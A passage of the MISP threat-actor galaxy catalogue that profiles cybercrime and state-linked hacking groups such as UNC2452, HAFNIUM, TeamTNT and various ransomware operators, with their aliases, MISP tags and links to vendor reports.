https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf
https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/
https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf
https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

UNC2452

Reporting regarding activity related to the SolarWinds supply chain injection has grown quickly since initial disclosure on 13 December 2020. A significant amount of press reporting has focused on the identification of the actor(s) involved, victim organizations, possible campaign timeline, and potential impact. The US Government and cyber community have also provided detailed information on how the campaign was likely conducted and some of the malware used. MITRE’s ATT&CK team — with the assistance of contributors — has been mapping techniques used by the actor group, referred to as UNC2452/Dark Halo by FireEye and Volexity respectively, as well as SUNBURST and TEARDROP malware.

The tag is: *misp-galaxy:threat-actor="UNC2452"*

UNC2452 is also known as:

- DarkHalo
- StellarParticle
- NOBELIUM
- Solar Phoenix

View relationships graph

UNC2452 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"

Table 7032. Table References

Links
https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://news.sophos.com/en-us/2020/12/21/how-sunburst-malware-does-defense-evasion/
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/
https://pastebin.com/6EDgCKxd
https://github.com/fireeye/sunburst_countermeasures
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware
https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html
https://unit42.paloaltonetworks.com/atoms/solarphoenix/

TeamTNT

In early Febuary, 2021 TeamTNT launched a new campaign against Docker and Kubernetes environments. Using a collection of container images that are hosted in Docker Hub, the attackers are targeting misconfigured docker daemons, Kubeflow dashboards, and Weave Scope, exploiting these environments in order to steal cloud credentials, open backdoors, mine cryptocurrency, and launch a worm that is looking for the next victim. They're linked to the First Crypto-Mining Worm to Steal AWS Credentials and Hildegard Cryptojacking malware. TeamTNT is a relatively recent addition to a growing number of threats targeting the cloud. While they employ some of the same tactics as similar groups, TeamTNT stands out with their social media presence and penchant for self-promotion. Tweets from the TeamTNT's account are in both English and German although it is unknown if they are located in Germany.

The tag is: *misp-galaxy:threat-actor="TeamTNT"*

TeamTNT is also known as:

- Adept Libra

Table 7033. Table References

Links
https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
https://malpedia.caad.fkie.fraunhofer.de/details/elf.teamtnt
https://blog.aquasec.com/teamtnt-campaign-against-docker-kubernetes-environment
https://cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool
https://www.cadosecurity.com/post/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html
https://cyware.com/news/hildegard-teamtnts-new-feature-rich-malware-targeting-kubernetes-6587eb45
https://www.lacework.com/teamtnt-builds-botnet-from-chinese-cloud-servers/
https://unit42.paloaltonetworks.com/atoms/adept-libra/

HAFNIUM

HAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to HAFNIUM, a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics and procedures. HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control. Once they've gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA.In campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets' environments. HAFNIUM operates primarily from leased virtual private servers (VPS) in the United States.

The tag is: *misp-galaxy:threat-actor="HAFNIUM"*

HAFNIUM is also known as:

- ATK233
- G0125
- Operation Exchange Marauder
- Red Dev 13

Table 7034. Table References

Links
https://attack.mitre.org/groups/G0125/
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
https://www.splunk.com/en_us/blog/security/detecting-hafnium-exchange-server-zero-day-activity-in-splunk.html
https://www.reddit.com/r/msp/comments/lwmo5c/mass_exploitation_of_onprem_exchange_servers
https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day
https://twitter.com/ESETresearch/status/1366862946488451088
https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html
https://us-cert.cisa.gov/ncas/alerts/aa21-062a
https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289
https://github.com/microsoft/CSS-Exchange/tree/main/Security
https://github.com/cert-lv/exchange_webshell_detection
https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits
https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021
https://pastebin.com/J4L3r2RS
https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/exchange-iis-worker-dropping-webshell.md
https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server
https://www.nextron-systems.com/2021/03/06/scan-for-hafnium-exploitation-evidence-with-thor-lite
https://www.thedailybeast.com/how-chinas-devastating-microsoft-hack-puts-us-all-at-risk

https://www.rnz.co.nz/news/political/447239/government-points-finger-at-china-over-cyber-attacks
https://www.gov.uk/government/news/uk-and-allies-hold-chinese-state-responsible-for-a-pervasive-pattern-of-hacking
https://www.foreignminister.gov.au/minister/marise-payne/media-release/australia-joins-international-partners-attribution-malicious-cyber-activity-china
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf

RedEcho

RedEcho: The group made heavy use of AXIOMATICASYMPTOTE — a term we use to track infrastructure that comprises ShadowPad C2s, which is shared between several Chinese threat activity groups

The tag is: *misp-galaxy:threat-actor="RedEcho"*

Table 7035. Table References

Links
https://www.recordedfuture.com/redecho-targeting-indian-power-sector/
https://therecord.media/redecho-group-parks-domains-after-public-exposure/

Ghostwriter

Ghostwriter is referred as an 'activity set', with various incidents tied together by overlapping behavioral characteristics and personas, rather than as an actor or group in itself.

The tag is: *misp-galaxy:threat-actor="Ghostwriter"*

Ghostwriter is also known as:

- UNC1151
- TA445

Table 7036. Table References

Links
https://www.fireeye.com/blog/threat-research/2020/07/ghostwriter-influence-campaign.html
https://twitter.com/hatr/status/1377220336597483520
https://www.mandiant.com/resources/unc1151-linked-to-belarus-government
https://www.bleepingcomputer.com/news/security/meta-ukrainian-officials-military-targeted-by-ghostwriter-hackers

https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag

Yanbian Gang

RiskIQ characterizes the Yanbian Gang as a group that targeted South Korean Android mobile banking customers since 2013 with malicious Android apps purporting to be from major banks, namely Shinhan Savings Bank, Saemaul Geumgo, Shinhan Finance, KB Kookmin Bank, and NH Savings Bank.

The tag is: *misp-galaxy:threat-actor="Yanbian Gang"*

Table 7037. Table References

Links
https://www.riskiq.com/blog/external-threat-management/yanbian-gang-malware-distribution/
https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html
https://www.trendmicro.com/en_us/research/18/d/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing.html
https://www.trendmicro.com/en_us/research/18/f/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users.html
https://blog.trendmicro.com/trendlabs-security-intelligence/mobile-malware-gang-steals-millions-from-south-korean-users/

TRAVELING SPIDER

Crowdstrike Tracks the criminal developer of Nemty ransomware as TRAVELING SPIDER. The actor has been observed to take advantage of single-factor authentication to gain access to victim organizations through Citrix Gateway and send extortion-related emails using the victim's own Microsoft Office 365 instance.

The tag is: *misp-galaxy:threat-actor="TRAVELING SPIDER"*

Table 7038. Table References

Links
https://www.cyberscoop.com/coronavirus-hacking-disinformation-ransomware-spearphishing/
https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeServicesCyberFrontLines.pdf

MALLARD SPIDER

Crowdstrike tarcks the operators behind the Qbot as MALLARD SPIDER

The tag is: *misp-galaxy:threat-actor="MALLARD SPIDER"*

MALLARD SPIDER is also known as:

- GOLD LAGOON

Table 7039. Table References

Links
https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-analyzing-a-fowl-banking-trojan-part-1/
http://www.secureworks.com/research/threat-profiles/gold-lagoon

RIDDLE SPIDER

According to Crowdstrike, RIDDLE SPIDER is the operator behind the avaddon ransomware

The tag is: *misp-galaxy:threat-actor="RIDDLE SPIDER"*

Table 7040. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

GOLD DUPONT

GOLD DUPONT is a financially motivated cybercriminal threat group that specializes in post-intrusion ransomware attacks using 777 (aka Defray777 or RansomExx) malware. Active since November 2018, GOLD DUPONT establishes initial access into victim networks using stolen credentials to remote access services like virtual desktop infrastructure (VDI) or virtual private networks (VPN). From October 2019 to early 2020 the group used GOLD BLACKBURN’s TrickBot malware as an initial access vector (IAV) during some intrusions. Since July 2020, the group has also used GOLD SWATHMORE’s IcedID (Bokbot) malware as an IAV in some intrusions.

The tag is: *misp-galaxy:threat-actor="GOLD DUPONT"*

GOLD DUPONT is also known as:

- SPRITE SPIDER

Table 7041. Table References

Links
https://www.secureworks.com/research/threat-profiles/gold-dupont
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/
https://www.youtube.com/watch?v=qxPXxWMI2i4

KNOCKOUT SPIDER

KNOCKOUT SPIDER has conducted low-volume spear-phishing campaigns focused on companies involved in cryptocurrency.

The tag is: *misp-galaxy:threat-actor="KNOCKOUT SPIDER"*

Table 7042. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

SOLAR SPIDER

SOLAR SPIDER's phishing campaigns deliver the JSOutProx RAT to financial institutions across Africa, the Middle East, South Asia and Southeast Asia.

The tag is: *misp-galaxy:threat-actor="SOLAR SPIDER"*

Table 7043. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

VIKING SPIDER

VIKING SPIDER is the criminal group behind the development and distribution of Ragnar Locker ransomware. While public reporting indicates the group began threatening to leak victim data in February 2020, a DLS was not observed until April 2020. The DLS is hosted on Tor, and similar to other actors, proof of data exfiltration is provided before the stolen data is fully leaked. It was also noted that On Dec. 22, 2020, a new post made to MountLocker ransomware's Tor-hosted DLS was titled 'Cartel News' and included details of a victim of VIKING SPIDER's Ragnar Locker

The tag is: *misp-galaxy:threat-actor="VIKING SPIDER"*

Table 7044. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/
https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf

CIRCUS SPIDER

According to Crowdstrike, the NetWalker ransomware is being developed and maintained by a Russian-speaking actor designated as CIRCUS SPIDER. Initially discovered in September 2019and havinga compilation timestamp dating back to 28 August 2019, NetWalker has been found to be used in Big Game Hunting (BGH)-style operations while also being distributed via spam. CIRCUS SPIDER is advertising NetWalkeras being a closed-affiliate program,and verifies applicants before they are being accepted as an affiliate. The requirements rangefrom providing proof of previous revenue in similar affiliates programs, experience in the field and what type of industry the applicantis targeting.

The tag is: *misp-galaxy:threat-actor="CIRCUS SPIDER"*

Table 7045. Table References

Links
https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/
https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/
https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf

GOLD EVERGREEN

GOLD EVERGREEN was a financially motivated cybercriminal threat group that operated the Gameover Zeus (aka Mapp, P2P Zeus) botnet until June 2014. It encompasses an expansive and long running criminal conspiracy operated by a confederation of individuals calling themselves The Business Club from the mid 2000s until 2014. GOLD EVERGREEN's technical operation was facilitated primarily through botnets using the Zeus, JabberZeus, and eventually Gameover Zeus malware families. These malware families were designed and maintained by a Russian national Evgeniy Bogachev (aka 'slavik') who was indicted by the U.S. DOJ in 2014 and remains a fugitive.

The tag is: *misp-galaxy:threat-actor="GOLD EVERGREEN"*

Table 7046. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-evergreen
https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group

BAMBOO SPIDER

Crowdstrike tracks the developer of Panda Zeus as BAMBOO SPIDER

The tag is: *misp-galaxy:threat-actor="BAMBOO SPIDER"*

Table 7047. Table References

Links

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2018GlobalThreatReport.pdf
https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganography-to-distribute-urlzone/

BOSON SPIDER

BOSON SPIDER is a cyber criminal group, which was first identified in 2015, recently and inexplicably went dark in the spring of 2016, appears to be a tightly knit group operating out of Eastern Europe. They have used a variety of distribution mechanisms such as the infamous (and now defunct) angler exploit kit, and obfuscated JavaScript to reduce the detection by antivirus solutions.

The tag is: *misp-galaxy:threat-actor="BOSON SPIDER"*

Table 7048. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report_BosonSpider.pdf
https://www.crowdstrike.com/blog/ecrime-ecosystem/

OVERLORD SPIDER

OVERLORD SPIDER, aka The Dark Overlord. Similar to ransomware operators today, OVERLORD SPIDER likely purchased RDP access to compromised servers on underground forums in order to exfiltrate data from corporate networks. The actor was known to attempt to “sell back” the data to the respective victims, threatening to sell the data to interested parties should the victim refuse to pay. There was at least one identified instance of OVERLORD SPIDER successfully selling victim data on an underground market.

The tag is: *misp-galaxy:threat-actor="OVERLORD SPIDER"*

Table 7049. Table References

Links
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1

OUTLAW SPIDER

On May 7, 2019, Mayor Bernard “Jack” Young confirmed that the network for the U.S. City of Baltimore (CoB) was infected with ransomware, which was announced via Twitter1. This infection was later confirmed to be conducted by OUTLAW SPIDER, which is the actor behind the RobbinHood ransomware. The actor demanded to be paid 3 BTC (approximately $17,600 USD at the time) per infected system, or 13 BTC (approximately $76,500 USD at the time) for all infected systems to recover the city’s files.

The tag is: *misp-galaxy:threat-actor="OUTLAW SPIDER"*

Table 7050. Table References

Links
https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeServicesCyberFrontLines.pdf

MIMIC SPIDER

MIMIC SPIDER is mentioned in two summary reports only

The tag is: *misp-galaxy:threat-actor="MIMIC SPIDER"*

Table 7051. Table References

Links
https://conferences.law.stanford.edu/cyberday/wp-content/uploads/sites/10/2016/10/2a_15GlobalThreatReport_Extracted.pdf
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/

HOUND SPIDER

According to Crowdstrike, HOUND SPIDER affiliates arrested in Romania on December,2017

The tag is: *misp-galaxy:threat-actor="HOUND SPIDER"*

Table 7052. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2018GlobalThreatReport.pdf

GOLD BURLAP

GOLD BURLAP is a group of financially motivated criminals responsible for the development of the Pysa ransomware, also referred to as Mespinoza. Pysa is a cross-platform ransomware with known versions written in C++ and Python. As of December 2020, approximately 50 organizations had reportedly been targeted in Pysa ransomware attacks. The operators leverage 'name and shame' tactics to apply additional pressure to victims. As of January 2021, CTU researchers had found no Pysa advertisements on underground forums, which likely indicates that it is not operated as ransomware as a service (RaaS).

The tag is: *misp-galaxy:threat-actor="GOLD BURLAP"*

Table 7053. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-burlap

GOLD CABIN

GOLD CABIN is a financially motivated cybercriminal threat group operating a malware distribution service on behalf of numerous customers since 2018. GOLD CABIN uses malicious documents, often contained in password-protected archives, delivered through email to download and execute payloads. The second-stage payloads are most frequently Gozi ISFB (Ursnif) or IcedID (Bokbot), sometimes using intermediary malware like Valak. GOLD CABIN infrastructure relies on artificial appearing and frequently changing URLs created with a domain generation algorithm (DGA). The URLs host a PHP object that returns the malware as a DLL file.

The tag is: *misp-galaxy:threat-actor="GOLD CABIN"*

GOLD CABIN is also known as:

- Shakthak
- TA551
- ATK236
- G0127
- Monster Libra

Table 7054. Table References

Links
https://www.secureworks.com/research/threat-profiles/gold-cabin
https://attack.mitre.org/groups/G0127/
https://unit42.paloaltonetworks.com/atoms/monsterlibra/

GOLD FAIRFAX

GOLD FAIRFAX is a financially motivated cybercriminal threat group responsible for the creation, distribution, and operation of the Ramnit botnet. Ramnit, the phonetic spelling of RMNet, the internal name of the core module, began operation in April 2010 and became widespread in July 2010. A particularly virulent file-infecting component of early Ramnit variants that spreads by modifying executables and HTML files has resulted in the continued prevalence of those early variants. Currently, Ramnit remains an actively maintained and distributed threat. The intent of Ramnit is to intercept and manipulate online financial transactions through modification of web browser behavior ('man-in-the-browser').

The tag is: *misp-galaxy:threat-actor="GOLD FAIRFAX"*

Table 7055. Table References

Links

http://www.secureworks.com/research/threat-profiles/gold-fairfax

GOLD FLANDERS

GOLD FLANDERS is a financially motivated group responsible for distributed denial of service (DDOS) attacks linked to extortion emails demanding between 5 and 30 bitcoins. The attacks consist mostly of fragmented UDP packets (DNS and NTP reflection) as well as other traffic that can vary per victim. The arrival of the extortion email is timed to coincide with a DDOS attack consisting of traffic between 20 Gbps and 200 Gbps and 12-15 million packets per second, lasting between 20 and 70 minutes targeted at a particular Autonomous System Number (ASN) or group of IP addresses. In some cases victim organisations have replied to these extortion emails and received personal replies from GOLD FLANDERS operators within 20 minutes.

The tag is: *misp-galaxy:threat-actor="GOLD FLANDERS"*

Table 7056. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-flanders

GOLD GALLEON

GOLD GALLEON is a financially motivated cybercriminal threat group comprised of at least 20 criminal associates that collectively carry out business email compromise (BEC) and spoofing (BES) campaigns. The group appears to specifically target maritime organizations and their customers. CTU researchers have observed GOLD GALLEON targeting firms in South Korea, Japan, Singapore, Philippines, Norway, U.S., Egypt, Saudi Arabia, and Colombia. The threat actors leverage tools, tactics, and procedures that are similar to those used by other BEC/BES groups CTU researchers have previously investigated, such as GOLD SKYLINE. The groups have used the same caliber of publicly available malware (inexpensive and commodity remote access trojans), crypters, and email lures.

The tag is: *misp-galaxy:threat-actor="GOLD GALLEON"*

Table 7057. Table References

Links
https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry
http://www.secureworks.com/research/threat-profiles/gold-galleon

GOLD GARDEN

GOLD GARDEN was a financially motivated cybercriminal threat group that authored and operated the GandCrab ransomware from January 2018 through May 2019. GandCrab was operated as a ransomware-as-a-service operation whereby numerous affiliates distributed the malware and split ransom payments with the core operators. GOLD GARDEN maintained exclusive control of the development of GandCrab and associated command and control (C2) infrastructure. Individual affiliates, of which there were frequently more than a dozen in operation simultaneously, coordinated the distribution of GandCrab through spam emails, web exploit kits, pay-per-install botnets, and scan-and-exploit style attacks. On May 31, 2019 the operators announced they have halted operations with no intent to resume for unknown reasons. In April 2019 the operators of GOLD GARDEN transferred the source code of GandCrab to GOLD SOUTHFIELD who used it as the foundation of the REvil ransomware operation. GOLD SOUTHFIELD operates a similar affiliate program comprised largely of former GandCrab users and other groups recruited from underground forums.

The tag is: *misp-galaxy:threat-actor="GOLD GARDEN"*

Table 7058. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-garden

GOLD MANSARD

GOLD MANSARD is a financially motivated cybercriminal threat group that operated the Nemty ransomware from August 2019. The threat actor behind Nemty is known on Russian underground forums as 'jsworm'. Nemty was operated as a ransomware as a service (RaaS) affiliate program and featured a 'name and shame' website where exfiltrated victim data was leaked. In April 2020, jsworm appeared to acquire new partners and retired the Nemty ransomware. This was followed by the introduction of Nefilim ransomware, which does not operate as an affiliate model. Nefilim has been used in post-intrusion ransomware attacks against organizations in logistics, telecommunications, energy and other sectors.

The tag is: *misp-galaxy:threat-actor="GOLD MANSARD"*

Table 7059. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-mansard

GOLD NORTHFIELD

Operational since at least October 2020, GOLD NORTHFIELD is a financially motivated cybercriminal threat group that leverages GOLD SOUTHFIELD’s REvil ransomware in their attacks. To do this, the threat actors replace the configuration of the REvil ransomware binary with their own in an effort to repurpose the ransomware for their operations. GOLD NORTHFIELD has given this modified REvil ransomware variant the name 'LV ransomware'.

The tag is: *misp-galaxy:threat-actor="GOLD NORTHFIELD"*

Table 7060. Table References

Links

http://www.secureworks.com/research/threat-profiles/gold-northfield
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-13th-2020-extortion-gone-wild/

GOLD RIVERVIEW

GOLD RIVERVIEW was a financially motivated cybercriminal group that facilitated the distribution of malware- and scam-laden spam email on behalf of its customers. This threat group authored and sold the Necurs rootkit beginning in early 2014, including to GOLD EVERGREEN who integrated it into Gameover Zeus. GOLD RIVERVIEW also operated a global botnet that was colloquially known as Necurs (CraP2P) and was a major source of spam email from 2016 through 2018. Necurs distributed malware such as GOLD DRAKE's Dridex (Bugat v5), GOLD BLACKBURN's TrickBot, and other families like Locky and FlawedAmmy. Necurs also distributed a large volume of email pushing securities 'pump and dump' scams, rogue pharmacies, and fraudulent dating sites. On March 4, 2019 all three active segments of the Necurs botnet ceased operation and have not since resumed. On March 10, 2020 Microsoft took civil action against GOLD RIVERVIEW and made technical steps that would complicate the threat actors' ability to reconstitute the botnet.

The tag is: *misp-galaxy:threat-actor="GOLD RIVERVIEW"*

Table 7061. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-riverview

GOLD SKYLINE

GOLD SKYLINE is a financially motivated cybercriminal threat group operating from Nigeria engaged in high-value wire fraud facilitated by business email compromise (BEC) and spoofing (BES). Also known as Wire-Wire Group 1 (WWG1), GOLD SKYLINE has been active since at least 2016 and relies heavily on compromised email accounts, social engineering, and increasingly malware to divert inter-organization funds transfers.

The tag is: *misp-galaxy:threat-actor="GOLD SKYLINE"*

Table 7062. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-skyline

GOLD SOUTHFIELD

GOLD SOUTHFIELD is a financially motivated cybercriminal threat group that authors and operates the REvil (aka Sodinokibi) ransomware on behalf of various affiliated threat groups. Operational since April 2019, the group obtained the GandCrab source code from GOLD GARDEN, the operators of GandCrab that voluntarily withdrew their ransomware from underground markets in May 2019. GOLD SOUTHFIELD is responsible for authoring REvil and operating the backend infrastructure used by affiliates (also called partners) to create malware builds and to collect ransom payments from victims. CTU researchers assess with high confidence that GOLD SOUTHFIELD is a former GandCrab affiliate and continues to work with other former GandCrab affiliates.

The tag is: *misp-galaxy:threat-actor="GOLD SOUTHFIELD"*

Table 7063. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-southfield
https://www.secureworks.com/research/revil-sodinokibi-ransomware
https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic
https://www.secureworks.com/blog/revil-the-gandcrab-connection

GOLD SYMPHONY

GOLD SYMPHONY is a financially motivated cybercrime group, likely based in Russia, that is responsible for the development and sale on underground forums of the Buer Loader malware. First discovered around August 2019, Buer Loader is offered as a malware-as-a-service (MasS) and has been advertised by a threat actor using the handle 'memeos'. Customers include GOLD BLACKBURN, the operators of the TrickBot malware. In addition to TrickBot, Buer Loader has been reported to download Cobalt Strike and other tools for use in post-intrusion ransomware attacks.

The tag is: *misp-galaxy:threat-actor="GOLD SYMPHONY"*

Table 7064. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-symphony

GOLD WATERFALL

GOLD WATERFALL is a group of financially motivated cybercriminals responsible for the creation, distribution, and operation of the Darkside ransomware. Active since August 2020, GOLD WATERFALL uses a variety of tactics, techniques, and procedures (TTPs) to infiltrate and move laterally within targeted organizations to deploy Darkside ransomware to its most valuable resources. Among these TTPs are using malicious documents delivered by email to establish a foothold and using stolen credentials to access victims' remote access services. In November 2020, the 'darksupp' persona was observed advertising an affiliate program on several semi-exclusive underground forums, marking GOLD WATERFALL’s entry into the ransomware-as-a-service (RaaS) landscape.

The tag is: *misp-galaxy:threat-actor="GOLD WATERFALL"*

Table 7065. Table References

Links

https://www.secureworks.com/research/threat-profiles/gold-waterfall
https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access

GOLD WINTER

GOLD WINTER are a financially motivated group, likely based in Russia, who operate the Hades ransomware. Hades activity was first identified in December 2020 and its lack of presence on underground forums and marketplaces leads CTU researchers to conclude that it is not operated under a ransomware as a service affiliate model. GOLD WINTER do employ name-and-shame tactics, where data is stolen and used as additional leverage over victims, but rather than a single centralized leak site CTU researchers have observed the group using Tor sites customized for each victim that include a Tox chat ID for communication, which also appears to be unique for each victim.

The tag is: *misp-galaxy:threat-actor="GOLD WINTER"*

Table 7066. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-winter

BackdoorDiplomacy

An APT group that we are calling BackdoorDiplomacy, due to the main vertical of its victims, has been targeting Ministries of Foreign Affairs and telecommunication companies in Africa and the Middle East since at least 2017.

The tag is: *misp-galaxy:threat-actor="BackdoorDiplomacy"*

BackdoorDiplomacy is also known as:

- BackDip
- CloudComputating
- Quarian

Table 7067. Table References

Links
https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/

Gelsemium

The Gelsemium group has been active since at least 2014 and was described in the past by a few security companies. Gelsemium's name comes from one possible translation ESET found while reading a report from VenusTech who dubbed the group □□□ for the first time. It's the name of a genus of flowering plants belonging to the family Gelsemiaceae, Gelsemium elegans is the species that contains toxic compounds like Gelsemine, Gelsenicine and Gelsevirine, which ESET choses as names for the three components of this malware family.

The tag is: *misp-galaxy:threat-actor="Gelsemium"*

Gelsemium is also known as:

- □□□

Table 7068. Table References

Links
https://www.welivesecurity.com/2021/06/09/gelsemium-when-threat-actors-go-gardening/
https://www.venustech.com.cn/uploads/2018/08/231401512426.pdf
https://hitcon.org/2016/pacific/0composition/pdf/1202/1202%20R0%200930%20an%20intelligance-driven%20approach%20to%20cyber%20defense.pdf
https://public.gdatasoftware.com/Presse/Publikationen/Whitepaper/EN/GDATA_TooHash_CaseStudy_102014_EN_v1.pdf

BelialDemon

Mentioned as operator of TriumphLoader and Matanbuchus

The tag is: *misp-galaxy:threat-actor="BelialDemon"*

BelialDemon is also known as:

- Matanbuchus

Table 7069. Table References

Links
https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/

Common Raven

Threat actor Common Raven has been actively targeting financial sector institutions, compromising their SWIFT payment infrastructure to send out fraudulent payments.

The tag is: *misp-galaxy:threat-actor="Common Raven"*

Table 7070. Table References

Links
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-common-raven-iocs
https://www2.swift.com/isac/report/10118

FIN13

Since 2017, Mandiant has been tracking FIN13, an industrious and versatile financially motivated threat actor conducting long-term intrusions in Mexico with an activity timeframe stretching back as early as 2016. Although their operations continue through the present day, in many ways FIN13's intrusions are like a time capsule of traditional financial cybercrime from days past. Instead of today's prevalent smash-and-grab ransomware groups, FIN13 takes their time to gather information to perform fraudulent money transfers. Rather than relying heavily on attack frameworks such as Cobalt Strike, the majority of FIN13 intrusions involve heavy use of custom passive backdoors and tools to lurk in environments for the long haul.

The tag is: *misp-galaxy:threat-actor="FIN13"*

FIN13 is also known as:

- TG2003
- Elephant Beetle

Table 7071. Table References

Links
https://www.mandiant.com/resources/fin13-cybercriminal-mexico
https://blog.sygnia.co/elephant-beetle-an-organized-financial-theft-operation
https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf
https://www.netwitness.com/wp-content/uploads/FIN13-Elephant-Beetle-NetWitness.pdf

SideCopy

The SideCopy APT is a Pakistani threat actor that has been operating since at least 2019, mainly targeting South Asian countries and more specifically India and Afghanistan. Its name comes from its infection chain that tries to mimic that of the SideWinder APT. It has been reported that this actor has similarities with Transparent Tribe (APT36) and possibly is a subdivision of this actor. Cisco Talos and Seqrite have provided comprehensive reports on this actor's activities.

The tag is: *misp-galaxy:threat-actor="SideCopy"*

Table 7072. Table References

Links
https://www.seqrite.com/blog/operation-sidecopy/
